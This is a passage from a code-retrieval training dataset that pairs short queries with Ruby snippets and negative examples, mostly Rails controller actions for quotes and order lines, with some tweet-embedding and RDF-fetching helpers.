"def create\n @quote = Quote.find(params[:quote_id])\n params[:quote_line][:item_name_sub] = params[:alt_name_id]\n @quote_line = @quote.quote_lines.build(params[:quote_line])\n @attachable = @quote\n\n respond_to do |format|\n if @quote_line.save\n @quote.quote_vendors.each do |quote_vendor|\n QuoteLineCost.create(quote_vendor_id: quote_vendor.id, quote_line_id: @quote_line.id)\n end\n\n format.html { redirect_to new_quote_quote_line_path(@quote), :notice => 'Quote line was successfully created.' }\n format.json { render :json => @quote_line, :status => :created, :location => [@quote_line.quote, @quote_line] }\n # if @quote.quote_vendors.count > 0\n # @quote.quote_vendors.each do |quote_vendor|\n # @dup_quote_line = @quote_line.clone\n # @dup_quote_line.vendor_id = quote_vendor.organization_id\n # @dup_quote_line.save\n # end\n # format.html { redirect_to new_quote_quote_line_path(@quote), :notice => 'Quote line was successfully created.' }\n # format.json { render :json => @quote_line, :status => :created, :location => [@quote_line.quote, @quote_line] }\n # else\n # format.html { redirect_to new_quote_quote_line_path(@quote), :notice => 'Please select vendors to add quote items.' }\n # end\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n params[:customer_quote_line][:item_name_sub] = params[:alt_name_id]\n @customer_quote_line = @customer_quote.customer_quote_lines.build(customer_quote_line_params)\n @attachable = @customer_quote\n\n respond_to do |format|\n if @customer_quote_line.save\n format.html { redirect_to new_customer_quote_customer_quote_line_path(@customer_quote), :notice => 'Customer quote line was successfully created.' }\n format.json { render :json => @customer_quote_line, :status => :created, :location => [@customer_quote_line.customer_quote, @customer_quote_line] }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @quote = Quote.find(params[:quote_id])\n @quote_line = @quote.quote_lines.find(params[:id])\n @quote_line.destroy\n\n respond_to do |format|\n format.html { redirect_to new_quote_quote_line_path(@quote) }\n format.json { head :ok }\n end\n end",
"def update\n @line_item = @order.line_items.find(params[:id])\n\n if @line_item.update(line_item_params)\n head :no_content\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def update\n @quote_line_cost = QuoteLineCost.find(params[:id])\n\n respond_to do |format|\n if @quote_line_cost.update_attributes(quote_line_cost_params)\n format.html { redirect_to @quote_line_cost, notice: 'Quote line cost was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @quote_line_cost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order_line = OrderLine.find(params[:id])\n\n respond_to do |format|\n if @order_line.update_attributes(params[:order_line])\n format.html { redirect_to @order_line, notice: 'Order line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quote = Customer.find(params[:customer_id]).quotes.new(quote_params)\n \n respond_to do |format|\n if @quote.save\n format.json { render :json => { :code => \"201\", :description => \"Created quote\", :quote => @quote} }\n else\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quote_line = QuoteLine.new(quote_line_params)\n\n respond_to do |format|\n if @quote_line.save\n format.html { redirect_to @quote_line, notice: 'Quote line was successfully created.' }\n format.json { render action: 'show', status: :created, location: @quote_line }\n else\n format.html { render action: 'new' }\n format.json { render json: @quote_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @quote = Quote.find(params[:id])\n\n render json: @quote\n end",
"def update\n respond_to do |format|\n if @customerquote.update(customerquote_params)\n format.html { redirect_to @customerquote, notice: 'Customerquote was successfully updated.' }\n format.json { render :show, status: :ok, location: @customerquote }\n else\n format.html { render :edit }\n format.json { render json: @customerquote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @customer_quote_line }\n end\n end",
"def update\n respond_to do |format|\n if @order_line.update(order_line_params)\n format.html { redirect_to @order_line, notice: 'Order line was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_line }\n else\n format.html { render :edit }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @customer_quote = CustomerQuote.new(customer_quote_params)\n\n respond_to do |format|\n if @customer_quote.save\n format.html { redirect_to new_customer_quote_customer_quote_line_path(@customer_quote), notice: 'Customer quote was successfully created.' }\n format.json { render json: @customer_quote, status: :created, location: @customer_quote }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer_quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quote.update(quote_params)\n\n format.json { head :no_content }\n else\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.build\n @attachable = @customer_quote\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @customer_quote_line }\n end\n end",
"def update\n @quote.update_attributes(params[:quote])\n respond_with(@quote)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE customer_quotes/1/customer_quote_lines/1 DELETE customer_quotes/1/customer_quote_lines/1.json
|
def destroy
@customer_quote = CustomerQuote.find(params[:customer_quote_id])
@customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])
@customer_quote_line.destroy
respond_to do |format|
format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was deleted updated.' }
format.json { head :ok }
end
end
|
[
"def destroy\n @quote = Quote.find(params[:quote_id])\n @quote_line = @quote.quote_lines.find(params[:id])\n @quote_line.destroy\n\n respond_to do |format|\n format.html { redirect_to new_quote_quote_line_path(@quote) }\n format.json { head :ok }\n end\n end",
"def destroy\n @quote_line.destroy\n respond_to do |format|\n format.html { redirect_to quote_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote_line_cost = QuoteLineCost.find(params[:id])\n @quote_line_cost.destroy\n\n respond_to do |format|\n format.html { redirect_to quote_line_costs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tqrdc_order_line.destroy\n respond_to do |format|\n format.html { redirect_to tqrdc_order_lines_url, notice: 'Order line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order_line = OrderLine.find(params[:id])\n @order_line.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n zieb_import_order = @zieb_import_order_line.zieb_import_order\n @zieb_import_order_line.destroy\n respond_to do |format|\n format.html { redirect_to zieb_import_order}\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @claro_transaction_by_line.destroy\n respond_to do |format|\n format.html { redirect_to claro_transaction_by_lines_url, notice: 'Claro transaction by line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @customer_quote = CustomerQuote.find(params[:id])\n @customer_quote.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_quotes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n @purchase_order_item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_order_item_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line = Line.find_by_no(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line = ReportingForms::B1Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to reporting_forms_b1_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rfq_line = RfqLine.find(params[:id])\n @rfq_line.destroy\n\n respond_to do |format|\n format.html { redirect_to rfq_lines_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @line_items = LineItem.find(params[:id])\n @line_item.destroy\n if @line_item.destroy\n render json: {status: :successfully}\n else\n render json: { status: error}\n end\n end",
"def destroy\n @v1_item_line = V1::ItemLine.find(params[:id])\n @v1_item_line.destroy\n\n head :no_content\n end",
"def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end",
"def delete\n LineItem.delete_for_order(order_id)\n CreditCardTransaction.remove_references_to_order(order_id)\n super\n end",
"def destroy\n @claro_transaction_by_line_claro.destroy\n respond_to do |format|\n format.html { redirect_to claro_transaction_by_line_claros_url, notice: 'Claro transaction by line claro was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
convert tweet url to embedding html
|
def embedding_tweet(content)
embedded_content = content
content.scan(/(https?:\/\/twitter\.com\/[a-zA-Z0-9_]+\/status\/([0-9]+)\/?)/).each do |url, id|
tweet_json = open("https://api.twitter.com/1/statuses/oembed.json?id=#{id}").read
tweet_html = JSON.parse(tweet_json, { :symbolize_names => true })[:html]
embedded_content = embedded_content.gsub(/#{url}/, tweet_html)
end
embedded_content
end
|
[
"def parse_tweet(tweet)\n oembeds = []\n # link urls:\n re = Regexp.new('(^|[\\n ])([\\w]+?://[\\w]+[^ \\\"\\n\\r\\t<]*)')\n # find urls through redirects\n urls = []\n tweet.scan(re) do |s|\n # find final url\n url = fetch(s[1])\n # replace url with found url\n urls << [s[1], url]\n end\n # do url link replacements\n urls.each do |url|\n # test each url for oembed data\n oohembed_url = \"http://oohembed.com/oohembed/?url=#{url[1]}\"\n resp = Net::HTTP.get_response(URI.parse(oohembed_url))\n if resp.code == '200' && resp.body.length > 0\n oembeds << resp.body\n end\n # replace urls with links\n tweet.gsub!(url[0], \"<a href=\\\"#{url[0]}\\\" title=\\\"#{CGI.escapeHTML(url[1])}\\\">#{shorten_url(url[1])}</a>\")\n end\n # link usernames\n re = Regexp.new('(\\@)([\\w]+)')\n tweet.gsub!(re, '<a href=\"http://twitter.com/\\2\">@\\2</a>')\n # link hashtags (needs to start the string or have a space before so we don't link #s in urls)\n re = Regexp.new('(\\s|^)(\\#)([\\w]+)')\n tweet.gsub!(re, '\\1<a href=\"http://twitter.com/search/%23\\3\">#\\3</a>')\n # return tweet and any oembed data\n [tweet, oembeds]\nend",
"def parse_tweet(t)\n URI.extract(t, %w[ http https ftp ]).each do |url|\n t.gsub!(url, \"<a href=\\\"#{url}\\\">#{url}</a>\")\n end\n \t# auto-link @usernames\n \tt = linkup_mentions_and_hashtags(t)\n end",
"def extract_link(tweet)\n if tweet\n text = tweet['text']\n start = text.index('http') if text\n if start\n stop = text.index(' ', start) || 0\n text[start..stop-1]\n end\n end\n end",
"def grab_url(tweet)\n\t\t# only grabs the url from the tweet text and replaces any https with http\n\t\ttweet.text.split(' ').find { |hunk| hunk =~ /\\Ahttps{0,1}:\\/\\/t.co/ }.gsub('https', 'http')\n\tend",
"def tweet_format message\n\n # We begin the hunt for links. The good news is that Slack marks them out for us!\n # Links look like:\n # <http://google.com>\n # or\n # <http://google.com|Google!>\n # We want to ignore the label, and just get the URL\n\n links = []\n message['text'].scan(/<(https?:\\/\\/.+?)>/).each do |m|\n url = m[0].split('|')[0]\n links.append url #URI.encode url\n end\n\n return nil if links.length == 0 #return nil if no links found\n\n # Just take the first link.\n\n response = Faraday.get links[0]\n\n # We are now in our own thread, operating asynchronously. We can take our time here.\n\n # First, we use Nokogiri to extract the page title.\n page = Nokogiri::HTML(response.body)\n page.css('script, link, style').each {|node| node.remove}\n title = page.css('title').text\n\n # Now craft a tweet message; remember max is 140 chars!\n\n # First, check the current max length of a t.co link wrapper\n # TODO\n t_co = 20\n length = title.length + t_co + 1 # 1 for the space.\n delta = length - 140\n if delta > 0\n title = title[0..-delta-2] + 'β¦'\n end\n\n title + ' ' + links[0]\n end",
"def tweet\n \"<blockquote class='twitter-tweet' lang='en'><p lang='en' dir='ltr'>\" + tweet_text + \n \"</p>—\" + twitter_user + \"<a href='\" + twitter_url + \"'>\" + tweet_date + \n \"</a></blockquote><script async src='//platform.twitter.com/widgets.js' charset='utf-8'></script>\"\n end",
"def auto_oembed(text)\n return ''.html_safe if text.blank?\n\n content = {}\n urls = URI.extract(text, %w(http https))\n\n return text.html_safe unless urls.count > 0\n\n urls.each do |url|\n html = fetch_and_render_oembed(url)\n content[url] = html unless html.blank?\n end\n\n content.each_pair do |key, value|\n text.sub!(key, value)\n end\n\n return text.html_safe\n end",
"def format_tweets(tweets)\n tweets.each do |tweet|\n tweet[:html] = format_text(tweet[:text])\n end\n end",
"def tweet_url(message)\n\t\tshort_tweet = []\n\t\t# Go through each wprd in message...\n\t\tmessage.each do |word|\n\t\t\t# If the word is a url...\n\t\t\tif word[0..6] == \"http://\"\n\t\t\t\t# Shorten it and store the shortened word\n\t\t\t\tshort_url = shorten(word)\n\t\t\t\tshort_tweet << short_url\n\t\t\telse\n\t\t\t\t# Word isn't a url, so just store it\n\t\t\t\tshort_tweet << word\n\t\t\tend\n\t\tend\n\t\t# Tweet the new message with short url's\n\t\ttweet(short_tweet.join(\" \"))\n\tend",
"def format_for_twitter(message)\n url = shorten_url \"http://#{URL_BASE}/track/show/#{id}\"\n message[0, 140 - 1 + url.length] + ' ' + url\n end",
"def format_for_twitter(message)\n url = shorten_url \"http://#{URL_BASE}/area/show/#{id}\"\n message[0, 140 - 1 + url.length] + ' ' + url\n end",
"def tweet_urls\n matches = decoded_text.scan(RE_URL)\n matches.map do |tweet_url_text|\n tweet_url_text = tweet_url_text.first.wukong_encode\n TweetUrl.new(tweet_url_text, self.id, twitter_user_id)\n end\n end",
"def format_link_or_text(url)\n return url\n end",
"def twitter_caption\n if text\n return text[0,120] + \" http://picbounce.com/#{code}\"\n else\n return \"http://picbounce.com/#{code}\"\n end\n end",
"def prep(text)\n text = text.gsub /(http[s]?:\\/\\/[^ \\t]+)[ \\t]?/, \"<a target=\\\"_BLANK\\\" href=\\\"\\\\1\\\">\\\\1</a> \"\n text = text.gsub /#([^ \\t<:\\.\\?!@#=\\-_]+)[ \\t]?/, \"<a target=\\\"_BLANK\\\" href=\\\"http://search.twitter.com/search?tag=\\\\1\\\">#\\\\1</a> \"\n text = text.gsub /@([^ \\t<:\\.\\?!@#=\\-_]+)[ \\t]?/, \"<a target=\\\"_BLANK\\\" href=\\\"http://twitter.com/\\\\1\\\">@\\\\1</a> \"\n end",
"def twitter_url; \"https://twitter.com/#{twitter}\" end",
"def convert_to_youtube_embed_link\n self.video_url.gsub!(/(youtube.com\\/)(.)*v=([\\w\\-_]+)(.)*$/, '\\1embed/\\3')\n end",
"def twitter_share_url(options = {})\n \"https://twitter.com/share?text=#{CGI.escape(options[:text])}&url=#{CGI.escape(options[:url])}\"\n end",
"def text_url\n link_uri\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
=> Code Snippet pour une nouvelle QD
|
def snippet_for_qd
"[QD#${1|#{list_qr_et_id(:qd).join(',')}|}]formate_qrd$0"
end
|
[
"def snippet_for_new_qdf\n snippet_for_new_qd\n end",
"def q(*) end",
"def q\n self\n end",
"def qp(field_name,opts = {})\n options = {:show_hide_options => {},:question_options=>{}}.update(opts)\n show_hide_options = {\n :condition => \"#{field_name}=N\",\n :show => false\n }.update(options[:show_hide_options])\n q field_name, options[:question_options]\n presentation_name = options[:question_options][:presentation_name]\n presentation_name ||= field_name\n javascript_show_hide_if(show_hide_options) do\n p presentation_name\n end \n end",
"def statement\n self.snippet\n end",
"def on_qwords_new; end",
"def select_qd_without_rd\n qds = hash_qds true\n if qds.empty?\n Snippet::alert \"Aucune QD n'est sans rΓ©ponse dans ce fichierβ¦\", \"Il faut dΓ©finir une QD avant de dΓ©finir sa RD.\"\n else\n items_string = qds.collect do |dqd|\n dqd[:qd].gsub!(/\\\"/,\"\\\\\\\"\"); \"\\\"#{dqd[:qd]}\\\"\"\n end.join(' ')\n args = [\n 'dropdown',\n '--title \"Choix de la QD\"',\n '--text \"Choisir la QD Γ laquelle doit rΓ©pondre cette RD (seules les QD sans rΓ©ponse sont listΓ©es)\"',\n '--exit-onchange', # -> se ferme aprΓ¨s le choix\n '--button1 \"Choisir cette QD\"',\n '--button3 \"Renoncer\"',\n '--items ' + items_string,\n '2>/dev/null'\n ]\n cmd = \"#{cocoaD} #{args.join(' ')}\"\n u_reponse = %x{#{cmd}}\n btn_name, user_choix = u_reponse.split(\"\\n\")\n return nil if btn_name.to_i == 3\n qds[user_choix.to_i][:id]\n end\n end",
"def log_qc_answers\n show do \n operations.each do |op|\n sample_id = op.input(\"PCR\").sample.id\n qc_answer = FieldValue.where(parent_id: sample_id, parent_class: \"Sample\", name: \"Has this strain passed QC?\").first\n note \"#{qc_answer.value}\"\n end\n end\n end",
"def king_richard_iii_quote; end",
"def phq2?; end",
"def snippet_for_new_rd\n qd_id = select_qd_without_rd\n horloge = (Snippet::horloge nil, true) # ici pour le bon tab-stop\n type_reponse = select_type_reponse_rd\n while type_reponse.match(/\\[tab_stop\\]/)\n type_reponse.sub!(/\\[tab_stop\\]/, \"\\${#{Snippet::next_tab}:TEXTE}\")\n end\n sn = \"\"\n sn << \"RD##{Objet::next_id_of_type 'RD'}: \"\n sn << horloge\n sn << \"[QD##{qd_id}] \"\n sn << \"#{type_reponse}\"\n sn << \" $0\"\n return sn\n end",
"def visit_qwords(node); end",
"def pca_qda\n end",
"def handle_q_s\n next_tag # Q\n @quarter = @tokens[@index].get_tag(Scalar).type\n @number = @quarter\n @index += 1\n @precision = :quarter\n @unit = :quarter\n end",
"def query_def; @seq1.definition; end",
"def query\n#--{{{\n init_logging\n querier = Querier::new self\n querier.query\n#--}}}\n end",
"def use_for_snippets; end",
"def to_Qdl\n gsub /\\\"/,\"'\"\n end",
"def on_qsymbols_new; end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
=> Code Snippet pour une QDF
|
def snippet_for_new_qdf
snippet_for_new_qd
end
|
[
"def snippet_for_qd\n \"[QD#${1|#{list_qr_et_id(:qd).join(',')}|}]formate_qrd$0\"\n end",
"def pca_qda\n end",
"def generate_fram(idx, qa_pair)\n q,a = qa_pair.map{|s| markdown(s)}\n \"<fram ord='#{idx}'><ord>#{idx}</ord><question>#{q}</question><answer>#{a}</answer></fram>\"\nend",
"def to_Qdl\n gsub /\\\"/,\"'\"\n end",
"def q(*) end",
"def qp(field_name,opts = {})\n options = {:show_hide_options => {},:question_options=>{}}.update(opts)\n show_hide_options = {\n :condition => \"#{field_name}=N\",\n :show => false\n }.update(options[:show_hide_options])\n q field_name, options[:question_options]\n presentation_name = options[:question_options][:presentation_name]\n presentation_name ||= field_name\n javascript_show_hide_if(show_hide_options) do\n p presentation_name\n end \n end",
"def query_def; @seq1.definition; end",
"def handle_q_s\n next_tag # Q\n @quarter = @tokens[@index].get_tag(Scalar).type\n @number = @quarter\n @index += 1\n @precision = :quarter\n @unit = :quarter\n end",
"def query_def; seq1.definition; end",
"def qiagen_kit()\n # Determines which kits will be used \n rna_kits = operations.map {|op| op.input('RNA Kit').val}.uniq\n rna_kits.each {|rna_kit|\n ops = operations.select {|op| op.input('RNA Kit').val == rna_kit}\n prepare_lysate(rna_kit, ops)\n }\n \n show do\n title \"DNase I Digest\"\n separator\n \n note \"<b>Follow the table to dispense the correct buffer:</b>\"\n table operations.start_table\n .custom_column(heading: \"Qiagen Column\") {|op| op.temporary[:tube]}\n .custom_column(heading: \"Add 350ul\", checkable: true ) { |op| \"<===>\"}\n .custom_column(heading: \"Qiagen Buffer\", checkable: false ) { |op| op.input('RNA Kit').val == 'miRNeasy_Kit' ? 'Buffer RW-T' : 'Buffer RW-1'}\n .end_table\n check \"Next, use a centrifuge <b>(8000g for 15s)</b> or apply vacuum to pull buffer through column.\"\n end\n \n show do\n title \"DNase I Digest\"\n separator\n \n # DNase I step\n note \"To prevent any genomic DNA from contaminating our RNA, we will use DNase I to digest any lingering gDNA.\"\n separator\n check \"Next, add <b>80ul of DNase I + RDD</b> mixture directly onto each of the column membranes - use a new tip each time.\"\n check \"Incubate at room temperature (on bench) for 15 mins\"\n ### Google timer 15 mins\n separator\n note \"<b>When timer is complete, follow the table to dispense the correct buffer:</b>\"\n table operations.start_table\n .custom_column(heading: \"Qiagen Column\") {|op| op.temporary[:tube]}\n .custom_column(heading: \"Add 350l\", checkable: true ) { |op| \"<===>\"}\n .custom_column(heading: \"Qiagen Buffer\", checkable: false ) { |op| op.input('RNA Kit').val == 'miRNeasy_Kit' ? 'Buffer RW-T' : 'Buffer RW-1'}\n .end_table\n check \"Next, use a centrifuge <b>(8000g for 15s)</b> or apply vacuum to pull buffer through column.\"\n end\n \n washes = 0\n (2).times do\n show do \n title \"Washing RNA on RNeasy Column\"\n separator\n \n note \"<b>Follow the table to dispense the correct buffer:</b>\"\n table operations.start_table\n .custom_column(heading: \"Qiagen Column\") {|op| op.temporary[:tube]}\n .custom_column(heading: \"Add 500l\", checkable: true ) { |op| \"<===>\"}\n .custom_column(heading: \"Qiagen Buffer\", checkable: false ) { |op| op.input('RNA Kit').val == 'miRNeasy_Kit' ? 'miBuffer RPE' : 'Buffer RPE'}\n .end_table\n check \"Next, add buffer let stand for 1 min.\"\n check \"Next, use a centrifuge <b>(8000g for 15s)</b> or apply vacuum to pull buffer through column.\"\n (washes > 0) ? (note \"Discard collection tube and gather a clean one from the Qiagen Kits\") : (note \"Discard the flow-through and as before, reuse the collection tube.\")\n end\n washes += 1\n end\n\n show do\n title \"Removing Excess Buffer\"\n separator\n \n note \"From, the Qiagen Kits gather <b>#{operations.length}</b> clean 2mL collection tubes.\"\n check \"Place the pink RNeasy columns into the new collection tubes.\"\n check \"Centrifuge for <b>1 min at full speed</b> to remove excess buffer.\"\n end\n \n show do\n title \"Eluting RNA with Water\"\n separator\n \n # check \"Get #{num_ops} new 1.5-mL RNeasy collection tubes and label each collection tube with a number from 1 to #{num_ops}\"\n check \"Remove the spin columns from the 2-mL collection tubes or from vacuum and place them in the new RNase-Free 1.5-mL tubes\"\n table operations.start_table\n .custom_column(heading: \"Qiagen Column\") {|op| op.temporary[:tube]}\n .custom_column(heading: \"Transfer to\", checkable: true ) { |op| \"====>\"}\n .custom_column(heading: \"Final Tube\", checkable: false ) { |op| op.output('Total RNA').item.id }\n .end_table\n note \"Using a new filter tip, directly pipette <b>30ul RNase-free water</b> to the spin column membrane.\"\n note \"Let stand for 3 mins\"\n check \"Close the lid gently and centrifuge for 1 minute at 8000g (10,000 rpm) to elute the RNA.\"\n # check \"Close the lid gently and centrifuge again to elute the RNA.\"\n end\n end",
"def dev_sq()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::DevSq::DevSqRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def log_qc_answers\n show do \n operations.each do |op|\n sample_id = op.input(\"PCR\").sample.id\n qc_answer = FieldValue.where(parent_id: sample_id, parent_class: \"Sample\", name: \"Has this strain passed QC?\").first\n note \"#{qc_answer.value}\"\n end\n end\n end",
"def king_richard_iii_quote; end",
"def hessenbergQ\n Hessenberg.QR(self)[0]\n end",
"def q\n self\n end",
"def on_qwords_beg(value); end",
"def compose( f )\n @rows = 0\n @flag = false\n @qdl_filespec = qdl_filespec= filename.gsub(\".csv\", \".txt\")\n\n qc = []\n dir = get_options.directory\n\n # Open the output file\n fout = File.open( @qdl_filespec, 'w' )\n \n # Read and handle each row of the file\n CSV.foreach( f ) do |row| \n\n @rows = @rows + 1\n\n # Comments, show if -v then next row if comment or blank\n # Join items in row to make reading it easier\n # Skip blank or comment row\n next if row.empty?\n puts row[0] if row[0].include?('#') and get_options[:verbose]\n next if row[0].include?('#')\n\n puts row.to_s if get_options[:verbose]\n # strip out double quote characters \n row.each do |r|\n r.to_Qdl unless r.nil?\n end\n\n # capture the Quandl code and skip line\n if row[0].is_a? String and row[0].include? \"Quandl:\"\n #@qc << row[1] \n @qc ||= row[1] \n next\n end\n \n # Safety Precaution: make sure Dataset exists\n @existsDS = createDS unless @existsDS\n\n # HDR row (MASK)\n # turn on flag if a string and value of first word is 'Date'\n # Remove nil elements in row using .compact!\n # Then compose the output line as '|' columns\n if row[0].is_a? String and row[0] == \"Date\"\n @flag = !@flag\n set_selection_list row\n row.compact!\n fout.puts [\"Quandl Code\", \"Date\", row[1..row.count]].join('|')\n next\n end\n\n # skip line until either 'Quandl:' or 'Date'\n unless @flag\n next\n end\n\n # this is data so construct the Quandl structured row and put in fl\n begin\n dt = row[0].gsub('/','-')\n rescue\n puts \"Invalid date: #{dt}; skipped row.\"\n next\n end\n \n # construct output row as array joined with '|'\n # we have Date, nil, nil, PMT, ... TCE, nil, ... nil, nil...\n # we want 0,3,9\n # to get Date|PMT|TCE\n\n @line = []\n @selection.each_with_index { |i| @line << row[i] }\n fout.puts [@qc, @line].join(\"|\")\n\n end #CSV\n fout.close\n\n end",
"def phq2?; end",
"def pdftk; end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
=> Code Snippet pour une RDF
|
def snippet_for_new_rdf
snippet_for_new_rd
end
|
[
"def _get_dbpedia_rdf(dbpedia_url, type=\"ntriples\")\n puts \"_get_dbpedia_rdf: \"+ dbpedia_url\n #urls.each do |url|\n #print url + \"\\n\"\n nurl = dbpedia_url.dup #url.dup\n nurl['resource']='data'\n nurl.concat('.'+type) # n3, rdf, json, ntriples\n #puts nurl\n rdf_xml = open(nurl).read\n #print rdf_xml\n rdf_xml\n #break #remove \n #end\n end",
"def to_rdf()\n rdf = \"<rdf:Statement>\"\n rdf << write_subject()\n rdf << \" <rdf:predicate rdf:resource=\\\"#{@predicate}\\\"/>\"\n rdf << write_object()\n rdf << \"</rdf:Statement>\"\n return rdf \n end",
"def predicate_rdf(predicate, builder)\n builder.tag!(predicate.to_name_s) do\n # Get the predicate values\n self[predicate.to_s].each do |value|\n # If we have a (re)Source, we have to put in another description tag.\n # Otherwise, we will take just the string\n if(value.respond_to?(:uri))\n builder.rdf :Description, \"rdf:about\" => value.uri.to_s\n else\n builder.text!(value.to_s)\n end\n end # end predicate loop\n end # end tag!\n end",
"def get_dbpedia_rdf(uri, type=\"ntriples\")\n puts \"get_dbpedia_urls from the term : \" + clean_uri(uri)\n \n term = clean_uri uri\n cterm = term.capitalize.dup\n urls = Set.new\n xml = \"\"\n rdf = \"\"\n href = \"\"\n not_found_string = \"No further information is available.\"\n\n dbpedia_search_urls = [\n 'http://dbpedia.org/resource/', #exact match <wiki page name>\n [\n 'http://lookup.dbpedia.org/api/search.asmx/KeywordSearch?QueryString=', # keyword search\n 'http://lookup.dbpedia.org/api/search.asmx/PrefixSearch?QueryClass=&MaxHits=5&QueryString=' # prefix search and autocompletition\n ]\n ]\n \n found = true\n begin\n href = dbpedia_search_urls[0]+cterm\n puts href\n xml = REXML::Document.new(open(href).read)\n rescue Exception\n puts '**not exact matching found. ' + $!\n found = false\n end\n \n if found and not xml.include? not_found_string\n puts '*exact match: ' + dbpedia_search_urls[0]+cterm\n rdf = _get_dbpedia_rdf dbpedia_search_urls[0]+cterm, type\n else\n # if not exact match found\n dbpedia_search_urls[1].each do |lookup|\n href = lookup+cterm\n puts href\n xml = REXML::Document.new(open(href).read)\n puts '*search match: '+href\n end\n xml.each_element('ArrayOfResult/Result[1]//URI[1]') do |url|\n rdf = _get_dbpedia_rdf url.text, type\n end\n end\n rdf << \"#{uri}\\t<http://www.w3.org/2002/07/owl#sameAs>\\t<#{href}> .\\n\"\n end",
"def identifier\n rdf_resource\n end",
"def to_rdfxml\n doc = Builder::XmlMarkup.new\n xmlns = {}\n i = 1\n @namespaces.each do | ns |\n next if ns == 'http://www.w3.org/1999/02/22-rdf-syntax-ns#'\n xmlns[\"xmlns:n#{i}\"] = ns\n i += 1\n end\n doc.rdf :Description,xmlns.merge({'rdf:about'=>uri}) do | rdf |\n self.instance_variables.each do | ivar |\n next unless ivar =~ /^@n[0-9]*_/\n # fix: must cast ivar as string before split!\n prefix, tag = ivar.to_s.split(\"_\", 2)\n attrs = {}\n curr_attr = self.instance_variable_get(\"#{ivar}\")\n prefix.sub!(/^@/,'')\n prefix = 'rdf' if prefix == 'n0'\n unless curr_attr.is_a?(Array)\n curr_attr = [curr_attr]\n end\n curr_attr.each do | val |\n if val.is_a?(RDFResource) # is value RDFResource an array? \n attrs['rdf:resource'] = val.uri # then it's an uri\n end\n if @modifiers[val.object_id] # do I have object literal modifiers (language or xsd:type)?\n if @modifiers[val.object_id][:language]\n attrs['xml:lang'] = @modifiers[val.object_id][:language]\n end\n if @modifiers[val.object_id][:type]\n attrs['rdf:datatype'] = @modifiers[val.object_id][:type]\n end \n end\n unless attrs['rdf:resource'] # if object is uri append tag with value\n rdf.tag!(\"#{prefix}:#{tag}\", attrs, val)\n else\n rdf.tag!(\"#{prefix}:#{tag}\", attrs)\n end\n end\n end\n end\n doc.target!\n end",
